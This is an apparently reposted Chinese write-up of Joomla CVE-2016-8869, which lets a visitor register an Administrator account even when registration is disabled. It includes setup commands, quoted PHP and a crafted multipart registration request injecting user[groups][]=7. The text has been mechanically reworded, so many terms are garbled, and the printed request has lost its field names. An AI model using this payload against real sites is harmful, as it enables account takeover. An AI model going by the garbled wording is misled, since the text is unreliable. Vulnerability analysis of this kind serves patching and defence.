Joomla未授权创建特权用户缝隙(CVE
Author: p0wd3r (知道创宇404安适尝试室)
Date: 2016-10-26
0x00 缝隙概述
1.缝隙简介
Joomla 是一个自由开源的内容打点系统,近日研究者发此刻其3.4.4到3.6.3的版本中存在两个缝隙: CVE-2016-8869 , CVE-2016-8870 。我们在这里仅分析CVE-2016-8869,操作该缝隙,打击者可以在网站封锁注册的情况下注册特权用户。Joomla官方已对此缝隙颁布 升级通告 。
2.缝隙影响网站封锁注册的情况下仍可创建特权用户
3.影响版本3.4.4 to 3.6.3
0x01 缝隙复现1. 环境搭建
wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz
解压后放随处事器目录下,例如 /var/www/html
创建个数据库:
docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql访谒处事器路径进行安置即可。
2.缝隙分析注册
注册部分可参考: 《Joomla未授权创建用户缝隙(CVE-2016-8870)分析》
提权下面我们来试着创建一个特权用户。
在用于注册的 register 函数中,我们先看一下 $model->register($data) 这个存储注册信息的要领,在 components/com_users/models/registration.php 中:
public function register($temp) { $params = JComponentHelper::getParams('com_users'); // Initialise the table with JUser. $user = new JUser; $data = (array) $this->getData(); // Merge in the registration data. foreach ($temp as $k => $v) { $data[$k] = $v; } ... }可以看到这里使用我们可控的 $temp 给 $data 赋值,进而存储注册信息。正常情况下, $data 在赋值之前是这样的:
而正常情况下我们可控的 $temp 中是没有 groups 这个数组的,所以正常注册用户的权限就是我们配置中设置的权限,对应的就是 groups 的值。
那么提升权限的关键就在于变动 groups 中的值,因为 $data 由我们可控的 $temp赋值, $temp 的值来自于请求包,所以我们可以结构如下请求包:
POST /index.php/component/users/?task=registration.register HTTP/1.1 ... Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI ... Cookie: yourcookie ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; attacker2 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; attacker2 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; attacker2 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; attacker2 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; attacker2@my.local ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; attacker2@my.local ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; 7 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; com_users ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; user.register ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; 1 ------WebKitFormBoundaryefGhagtDbsLTW5qI--这里我们添加一组值: name="user[groups][]" value=7 ,让 user 被看成二维数组,从而 groups 被识别为数组,并设置数组第一个值为7,对应着 Administrator的权限。
然后发包,通过调试可以看到 $temp 中已经有了 groups 数组:
最后创建了一个权限为 Administrator 的用户attacker2:
通过存在缝隙的注册函数我们可以提权,那么在允许注册的情况下我们可不成以通过正常的注册函数来提权呢?
通过比拟这两个函数,可以发明这样一点:
UsersControllerRegistration::register() :
public function register() { ... $data = $model->validate($form, $requestData); ... // Attempt to save the data. $return = $model->register($data); ... }UsersControllerUser::register() :
public function register() { ... $return = $model->validate($form, $data); ... // Attempt to save the data. $return = $model->register($data); ... }可以看到 UsersControllerRegistration::register() 中存储了对 $requestData验证后的 $data ,而 UsersControllerUser::register() 虽然同样进行了验证,但是存储的仍是之前的 $data 。所以重点是 validate 函数是否对 groups 进行了过滤,我们跟进一下,在 libraries/legacy/model/form.php 中:
public function validate($form, $data, $group = null) { ... // Filter and validate the form data. $data = $form->filter($data); ... }温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/13187.html